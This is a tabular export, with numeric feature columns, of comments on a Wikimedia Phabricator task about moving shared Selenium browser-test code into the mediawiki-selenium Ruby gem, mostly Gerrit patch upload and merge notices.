251937,Make sure all repositories have the latest version of shared code,All repositories that have Selenium tests in Ruby now use mediawiki-selenium gem.,,,1382729080,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,16,,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,All repositories that have Selenium tests in Ruby now use mediawiki-selenium gem.
251932,Make sure all repositories have the latest version of shared code,"Change 87552 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87552",,,1382713394,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,"Change 87552 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251928,Make sure all repositories have the latest version of shared code,"Change 87581 merged by jenkins-bot:
[browser test] Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87581",,,1382546758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.166666666666667,0.9583333333333334,"Change 87581 merged by jenkins-bot:
[browser test] Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251921,Make sure all repositories have the latest version of shared code,"Change 87563 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87563",,,1382546616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,"Change 87563 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251914,Make sure all repositories have the latest version of shared code,"Change 87125 merged by Cmcmahon:
Moving code used in multiple repositores to a Ruby gem

https://gerrit.wikimedia.org/r/87125",,,1382363305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.526315789473684,1.0,"Change 87125 merged by Cmcmahon:
Moving code used in multiple repositores to a Ruby gem

GERRIT_URL"
251908,Make sure all repositories have the latest version of shared code,"Change 90560 had a related patch set uploaded by Zfilipin:
WIP Moved confing files from qa/browsertests repository

https://gerrit.wikimedia.org/r/90560",,,1382111650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 90560 had a related patch set uploaded by Zfilipin:
WIP Moved confing files from qa/browsertests repository

GERRIT_URL"
251899,Make sure all repositories have the latest version of shared code,"Change 90559 had a related patch set uploaded by Zfilipin:
WIP Moved config files to mediawiki/selenium repository

https://gerrit.wikimedia.org/r/90559",,,1382111624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.826086956521739,1.0,"Change 90559 had a related patch set uploaded by Zfilipin:
WIP Moved config files to mediawiki/selenium repository

GERRIT_URL"
251892,Make sure all repositories have the latest version of shared code,"Change 88010 merged by Tobias Gritschacher:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/88010",,,1381745570,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.947368421052632,1.0,"Change 88010 merged by Tobias Gritschacher:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251888,Make sure all repositories have the latest version of shared code,*** Bug 53581 has been marked as a duplicate of this bug. ***,,,1381410774,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53581 has been marked as a duplicate of this bug. ***
251884,Make sure all repositories have the latest version of shared code,*** Bug 54600 has been marked as a duplicate of this bug. ***,,,1381410415,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54600 has been marked as a duplicate of this bug. ***
251880,Make sure all repositories have the latest version of shared code,"Change 88010 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/88010",,,1381134855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 88010 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251876,Make sure all repositories have the latest version of shared code,"Change 87158 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87158",,,1380988261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,"Change 87158 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251873,Make sure all repositories have the latest version of shared code,"Change 87542 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87542",,,1380987438,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,"Change 87542 merged by jenkins-bot:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251869,Make sure all repositories have the latest version of shared code,"Change 87581 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87581",,,1380901487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 87581 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251863,Make sure all repositories have the latest version of shared code,"Change 87563 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87563",,,1380896472,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 87563 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251857,Make sure all repositories have the latest version of shared code,"Change 87552 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87552",,,1380892900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 87552 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251847,Make sure all repositories have the latest version of shared code,"Change 87542 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87542",,,1380888245,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 87542 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251839,Make sure all repositories have the latest version of shared code,For more information see http://lists.wikimedia.org/pipermail/qa/2013-October/000509.html,,,1380805607,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,4.8,1.0,For more information see URL
251835,Make sure all repositories have the latest version of shared code,"Change 87158 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

https://gerrit.wikimedia.org/r/87158",,,1380730588,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.565217391304348,1.0,"Change 87158 had a related patch set uploaded by Zfilipin:
Moving shared code to mediawiki-selenium Ruby gem

GERRIT_URL"
251830,Make sure all repositories have the latest version of shared code,"Change 87125 had a related patch set uploaded by Zfilipin:
Moving code used in multiple repositores to a Ruby gem

https://gerrit.wikimedia.org/r/87125",,,1380723813,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.458333333333333,0.9583333333333334,"Change 87125 had a related patch set uploaded by Zfilipin:
Moving code used in multiple repositores to a Ruby gem

GERRIT_URL"
251827,Make sure all repositories have the latest version of shared code,"Change 86838 merged by jenkins-bot:
Updated ULS repository to the latest version of shared test files

https://gerrit.wikimedia.org/r/86838",,,1380645048,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.5,1.0,"Change 86838 merged by jenkins-bot:
Updated ULS repository to the latest version of shared test files

GERRIT_URL"
251825,Make sure all repositories have the latest version of shared code,"Change 86845 merged by Cmcmahon:
Updated the repository to the latest version of shared test files

https://gerrit.wikimedia.org/r/86845",,,1380644856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.8,0.95,"Change 86845 merged by Cmcmahon:
Updated the repository to the latest version of shared test files

GERRIT_URL"
251823,Make sure all repositories have the latest version of shared code,"Change 86845 had a related patch set uploaded by Zfilipin:
Updated the repository to the latest version of shared test files

https://gerrit.wikimedia.org/r/86845",,,1380630502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.68,0.96,"Change 86845 had a related patch set uploaded by Zfilipin:
Updated the repository to the latest version of shared test files

GERRIT_URL"
251820,Make sure all repositories have the latest version of shared code,"Change 86838 had a related patch set uploaded by Zfilipin:
Updated ULS repository to the latest version of shared test files

https://gerrit.wikimedia.org/r/86838",,,1380628011,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.68,1.0,"Change 86838 had a related patch set uploaded by Zfilipin:
Updated ULS repository to the latest version of shared test files

GERRIT_URL"
251815,Make sure all repositories have the latest version of shared code,"Change 82039 merged by Tobias Gritschacher:
Updated test configuration to the latest version

